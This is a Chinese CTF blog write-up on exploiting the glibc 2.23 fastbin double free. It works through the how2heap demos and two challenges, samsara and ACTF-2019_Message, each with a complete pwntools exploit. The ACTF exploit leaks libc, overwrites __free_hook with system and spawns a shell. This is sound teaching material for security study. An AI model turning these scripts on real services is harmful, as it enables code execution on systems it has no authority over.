Double Free是Fastbin里比较容易的一个利用,搞一下
整体原理比较简单,在ctf-wiki上可以看到。主要就是因为fastbin在检查时只检查链表头部且释放时不清除prev_in_use
在中也有相应的源码
测试
使用how2heap里的fastbin_dup.c和fastbin_dup_into_stack.c作为演示。
fastbin_dup.c
为了方便,我们关闭ASLR的地址随机化
gcc -g -m64 -no-pie fastbin_dup.c -o fastbin_dup
这里它先填充了tcache,以便接下来的操作在fastbin中进行。
直接把断点下在line 20
,一步一步看他是怎么运行的
首先calloc
了三个chunk
,并释放掉 第一个chunk
。可以看到第一个a
已经进入了fastbins
此时如果我们再次释放a
,程序会崩溃,因为fastbin的检测会检查头部是否和释放的这个chunk
一致
bypass的方法很简单,释放之前再释放一个别的chunk不就好了?直接跳到line 40
来看
现在的链表结构参考ctf-wiki
接下来我们再次calloc
,由alloc
的机制我们知道他会先从fastbin的头部去取。
可以看到,a
和c
指向了同一个chunk
fastbin_dup_into_stack.c
为了方便,我们关闭ASLR并使用glibc-2.23
作为动态解释器
gcc -g -m64 -no-pie fastbin_dup_into_stack.c -o fastbin_dup_into_stack
patchelf --set-rpath /home/nova/Desktop/CTF/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ --set-interpreter /home/nova/Desktop/CTF/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so fastbin_dup_into_stack
知道了Double Free的工作原理,怎么利用呢?这个文件给了我们答案。
类似于fasbin_dup.c,它申请了3个chunk
,这里我们不再赘述。直接跳到34行——也就是Double Free完成之后
重新申请一个d,它拿去了a
所表示的chunk,此时a
所表示的chunk是我们可控的fastbin
注意这里
stack_var = 0x20;
fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
这个stack_var设置成0x20
是为了伪造一个fake_chunk
,由于检查时要求大小要一致所以这样设置。
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
这段话做了什么呢?
它将d
的contents
修改为了&stack_var-8
,可d
代表的chunk实际上还在fastbin中,而fastbin中这个位置的数据代表着也正好代表着fd
可以看到,链表上多出了一项,也就是0x40500
的fd
指针所指的位于栈上的地址。
接下来,我们只要再拿到这个chunk,就可以进行任意写了。
实战
拿了两个最简单的模板题作为实验
samsara
先做必要的准备
patchelf --set-rpath /home/nova/Desktop/CTF/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ --set-interpreter /home/nova/Desktop/CTF/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so samsara
通过分析,我们可以知道几个功能的用途分别是add
,delete
,edit
,值得注意的是,delete
并不会修改cnt
,也没有把指针置0
还要关注的是lair
和kingdom
这两个选项,
观察可以发现,lair
与pwn
隔得很近
我们能输出lair
的地址,那么pwn
的地址也自然可以获得了。
from pwn import *
sh = process(["./samsara"])
context.log_level = 'DEBUG'
context.arch = 'amd64'
context.os = 'linux'
def add():
sh.recvuntil(b"choice > ")
sh.sendline(b"1")
sh.recvuntil(b"Captured.\n")
def delete(idx: int):
sh.recvuntil(b"choice > ")
sh.sendline(b"2")
sh.recvuntil(b"Index:\n")
sh.sendline(str(idx).encode())
sh.recvuntil(b"Eaten.\n")
def edit(idx: int, content: bytes):
sh.recvuntil(b"choice > ")
sh.sendline(b"3")
sh.recvuntil(b"Index:\n")
sh.sendline(str(idx).encode())
sh.recvuntil(b"Ingredient:\n")
sh.sendline(content)
sh.recvuntil(b"Cooked.")
def lair() -> int:
sh.recvuntil(b"choice > ")
sh.sendline(b"4")
sh.recvuntil(b"Your lair is at: ")
lair_addr = int(sh.recvuntil(b'\n', drop=True), 16)
return lair_addr
def kingdom(content: int):
sh.recvuntil(b"choice > ")
sh.sendline(b"5")
sh.recvuntil(b"Which kingdom?\n")
sh.sendline(str(content).encode())
sh.recvuntil(b"Moved. \n")
def pwn():
sh.recvuntil(b"choice > ")
sh.sendline(b"6")
sh.interactive()
先写好功能菜单,根据我们的想法,我们应该先申请2个chunk,然后再删除idx为0, 1, 0
的chunk
此时我们再次add一下,这个chunk的fd和bk指针就是可控的了。我们将其修改为lair-0x08
,也就是pwn-0x10
的位置——这样对这个chunk修改时,修改的地方正好是pwn
的位置。并修改lair的值为0x20
以bypass检查。
此时我们拿到这个位于栈上的chunk并修改其值为0xdeadbeef
即可拿到shell
exp:
from pwn import *
sh = process(["./samsara"])
context.log_level = 'DEBUG'
context.arch = 'amd64'
context.os = 'linux'
def add():
sh.recvuntil(b"choice > ")
sh.sendline(b"1")
sh.recvuntil(b"Captured.\n")
def delete(idx: int):
sh.recvuntil(b"choice > ")
sh.sendline(b"2")
sh.recvuntil(b"Index:\n")
sh.sendline(str(idx).encode())
sh.recvuntil(b"Eaten.\n")
def edit(idx: int, content: bytes):
sh.recvuntil(b"choice > ")
sh.sendline(b"3")
sh.recvuntil(b"Index:\n")
sh.sendline(str(idx).encode())
sh.recvuntil(b"Ingredient:\n")
sh.sendline(content)
sh.recvuntil(b"Cooked.")
def lair() -> int:
sh.recvuntil(b"choice > ")
sh.sendline(b"4")
sh.recvuntil(b"Your lair is at: ")
lair_addr = int(sh.recvuntil(b'\n', drop=True), 16)
return lair_addr
def kingdom(content: int):
sh.recvuntil(b"choice > ")
sh.sendline(b"5")
sh.recvuntil(b"Which kingdom?\n")
sh.sendline(str(content).encode())
sh.recvuntil(b"Moved.\n")
def pwn():
sh.recvuntil(b"choice > ")
sh.sendline(b"6")
sh.interactive()
add() # 0
add() # 1
delete(0)
delete(1)
delete(0)
add() # 2
lair_chunk = lair() - 0x08
kingdom(0x20)
edit(2, str(lair_chunk).encode())
add() # 3
add() # 4
add() # 5
edit(5, str(0xdeadbeef).encode())
pwn()
# gdb.attach(sh, 'b puts')
# sh.interactive()
ACTF-2019_Message
稍微复杂一点。保护除了ASLR是全开的。
观察可以发现漏洞
在delete
时程序释放时没有对指针进行置零,只对size位置零
根据show
和edit
函数,我们如果能修改array[4 * idx + 2]
的内容,那么也就可以做到任意地址读写。
也就是说,关键就在于如何在array
上制造一个fake chunk
按之前的思路,我们如果malloc 0, 1, 2
,并delete 1, 2, 1
,再malloc 3
,这个3
的content/fd
我们就可以指向array
,此时,我们再多次malloc
,就可以获得fake chunk
先写好菜单
from pwn import *
from typing import TypeVar, Callable
T = TypeVar("T", bound=Callable)
sh = process(["./ACTF_2019_message"])
context.log_level = 'DEBUG'
context.arch = 'amd64'
context.os = 'linux'
def menu(idx: int):
def inner(func: T) -> T:
def wrapper(*arg, **kwargs):
sh.recvuntil(b"choice: ")
sh.sendline(str(idx).encode())
return func(*arg, **kwargs)
return wrapper
return inner
@menu(1)
def add(lengths: int, content: bytes):
sh.recvuntil(b"length of message:\n")
sh.sendline(str(lengths).encode())
sh.recvuntil(b"input the message:\n")
sh.sendline(content)
@menu(2)
def delete(idx: int):
sh.recvuntil(b"you want to delete:\n")
sh.sendline(str(idx).encode())
@menu(3)
def edit(idx: int, content: bytes):
sh.recvuntil(b"you want to edit:\n")
sh.sendline(str(idx).encode())
sh.recvuntil(b"edit the message:\n")
sh.sendline(content)
@menu(4)
def show(idx: int) -> bytes:
sh.recvuntil(b"you want to display:\n")
sh.sendline(str(idx).encode())
sh.recvuntil(b"The message: ")
msg = sh.recvuntil(b"\n", drop=True)
return msg
值得注意的是,由于size
要相同,我们第0个chunk的大小应该比其他chunk大0x10
add(0x20, b'aaaaaa') # 0
add(0x10, b'aaaaaa')
add(0x10, b'aaaaaa')
delete(1)
delete(2)
delete(1)
add(0x10, p64(0x602060-0x08)) # 3
可以看到,我们在0x602060-0x08
的地方构造了一个fake_chunk
,如此一来,0x602060
便可以作为chunk_size
,而0
的chunk_addr
也就可以由fake_chunk
修改,chunk_addr
的内容也能由0
来读
add(0x10, b'aaaaaa') # 4
add(0x10, b'aaaaaa') # 5
add(0x10, b'aaaaaa') # 6 -> fake
此时已经可以任意读任意写了,这时候,只需要搞出libc_base
就可以了
elf = ELF(r"./ACTF_2019_message")
libc = ELF(r"/home/nova/Desktop/CTF/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
add(0x10, p64(elf.got['puts'])) # 6 -> fake
puts_addr = u64(show(0).ljust(8, b'\x00'))
libc_base = puts_addr - libc.sym['puts']
print(hex(libc_base))
libc_base
出来了,可是如何调用system
还是困难的。因为保护是FULL RELRO
,所以我们没办法改写GOT表
,即使能改,因为我们没有办法传参,也没办法过去(除非我们找到one-gadget然后再想办法在栈上写)
这时候就可以使用包括__malloc_hook()
和__free_hook()
等一系列libc
中自带的hook
函数
其中属__free_hook()
最好用,因为它的参数就是chunk
本身
这样,我们只需要把6
的content
改为__free_hook()
,并把0
的content
改为system()
,便实现了篡改
system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
print(hex(free_hook))
edit(6, p64(free_hook))
edit(0, p64(system))
接下来,新建一个内容为/bin/sh
的chunk并释放就可以拿到shell了。
exp:
from pwn import *
from typing import TypeVar, Callable
T = TypeVar("T", bound=Callable)
sh = process([r"./ACTF_2019_message"])
elf = ELF(r"./ACTF_2019_message")
libc = ELF(r"/home/nova/Desktop/CTF/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
context.log_level = 'DEBUG'
context.arch = 'amd64'
context.os = 'linux'
def menu(idx: int):
def inner(func: T) -> T:
def wrapper(*arg, **kwargs):
sh.recvuntil(b"choice: ")
sh.sendline(str(idx).encode())
return func(*arg, **kwargs)
return wrapper
return inner
@menu(1)
def add(lengths: int, content: bytes):
sh.recvuntil(b"length of message:\n")
sh.sendline(str(lengths).encode())
sh.recvuntil(b"input the message:\n")
sh.sendline(content)
@menu(2)
def delete(idx: int):
sh.recvuntil(b"you want to delete:\n")
sh.sendline(str(idx).encode())
@menu(3)
def edit(idx: int, content: bytes):
sh.recvuntil(b"you want to edit:\n")
sh.sendline(str(idx).encode())
sh.recvuntil(b"edit the message:\n")
sh.sendline(content)
@menu(4)
def show(idx: int) -> bytes:
sh.recvuntil(b"you want to display:\n")
sh.sendline(str(idx).encode())
sh.recvuntil(b"The message: ")
msg = sh.recvuntil(b"\n", drop=True)
return msg
def dbg(arg: str = ''):
gdb.attach(sh, arg)
pause()
add(0x20, b'aaaaaa') # 0
add(0x10, b'aaaaaa') # 1
add(0x10, b'aaaaaa') # 2
delete(1)
delete(2)
delete(1)
add(0x10, p64(0x602060-0x08)) # 3
add(0x10, b'aaaaaa') # 4
add(0x10, b'aaaaaa') # 5
add(0x10, p64(elf.got['puts'])) # 6 -> fake_chunk
puts_addr = u64(show(0).ljust(8, b'\x00'))
libc_base = puts_addr - libc.sym['puts']
system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
print(hex(free_hook))
edit(6, p64(free_hook))
edit(0, p64(system))
add(0x20, b'/bin/sh\x00') # 7
delete(7)
sh.interactive()